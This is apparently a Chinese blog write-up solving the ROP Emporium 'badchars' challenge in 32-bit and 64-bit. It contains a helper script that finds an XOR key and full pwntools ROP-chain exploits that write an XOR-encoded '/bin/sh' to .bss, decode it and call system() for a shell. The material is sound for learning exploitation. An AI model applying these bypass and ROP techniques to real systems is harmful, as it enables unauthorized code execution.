badchars

ropemporium上的链接
https://ropemporium.com/

32位

checksec badchars32然后运行./badchars32



拖入ida,有system,没有binsh,所以我们需要将binsh写入bss段中


main

usefulFunction里有system但参数不对

system地址为0x080484E0

bss地址为0x0804A040
pwnme函数


checkBadChars函数

把v3及其后面的变成数组,把数字按r转成字符,方便查看

这次的程序对输入的字符进行了过滤,对于特定字符b,i,c,/, <空格>,f,n,s(传说中的badchars),会被替换成-21,当然这会对我们成功写入"/bin/sh\x00"造成影响,所以我们要绕过这步替换

参考 https://www.jianshu.com/p/5b9abeca9308
这里用 xor 对要输入的 '/bin/sh' 加密,成功传入参数后再进行解密调用
首先找可以进行异或的数字,因为可能会有进行异或后还出现badchars的数字。

找异或数字的脚本为

binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
    for x in binsh:
        tem = ord(x) ^ xornum
        if tem in badchar:
            xornum += 1
            break
        if x == "\x00":
            print xornum
            xornum += 1
    if xornum == 10:
        break
可异或的十以内数字有2,3,5,9

找gadget

ROPgadget --binary badchars32 --only "mov|xor|pop|ret"

gdb爆偏移为44

写脚本

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')

pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890

system_plt = 0x080484E0
bss = 0x0804A040

#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
    xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反

payload = ''
payload += 'A'*44
#因为是32位,/bin/sh要分2次传

payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)

payload += p32(pop_esi_edi)
payload += xorbinsh[4:8]
payload += p32(bss+4)
payload += p32(mov_esi_to_edi)

#解密
for x in range(0,len(xorbinsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss+x)
    payload += p32(2)
    payload += p32(xor_ebx_cl)

payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)

p.sendline(payload)
p.interactive()
成功

我们再来玩一个简单的,只传入一次的"sh\x00\x00"
脚本为

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')

pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890

system_plt = 0x080484E0
bss = 0x0804A040

#加密
binsh = "sh\x00\x00"
xorbinsh = ''
for i in binsh:
    xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反

payload = ''
payload += 'A'*44

payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)


#解密
for x in range(0,len(xorbinsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss+x)
    payload += p32(2)
    payload += p32(xor_ebx_cl)

payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)

p.sendline(payload)
p.interactive()
当然也是成功的

64位

道理大致相同,但是/bin/sh不需要分2次传,一次即可

ROPgadget --binary badchars --only "mov|pop|xor|ret"


gdb爆偏移

exp:

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars')
p = process('./badchars')

pop_r12_r13 = 0x00400b3b
mov_r12_to_r13 = 0x00400b34
pop_r14_r15 = 0x00400b40
xor_r15_r14b = 0x00400b30
pop_rdi = 0x00400b39

system_plt = elf.plt['system']
bss = elf.bss()

#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
    xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反

payload = ''
payload += 'A'*40

payload += p64(pop_r12_r13)
payload += xorbinsh
payload += p64(bss)
payload += p64(mov_r12_to_r13)


#解密
for x in range(0,len(xorbinsh)):
    payload += p64(pop_r14_r15)
    payload += p64(2)
    payload += p64(bss+x)
    payload += p64(xor_r15_r14b)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)

p.sendline(payload)
p.interactive()
成功

以上两个的flag为ROPE{a_placeholder_32byte_flag!}

你可能感兴趣的:(badchars)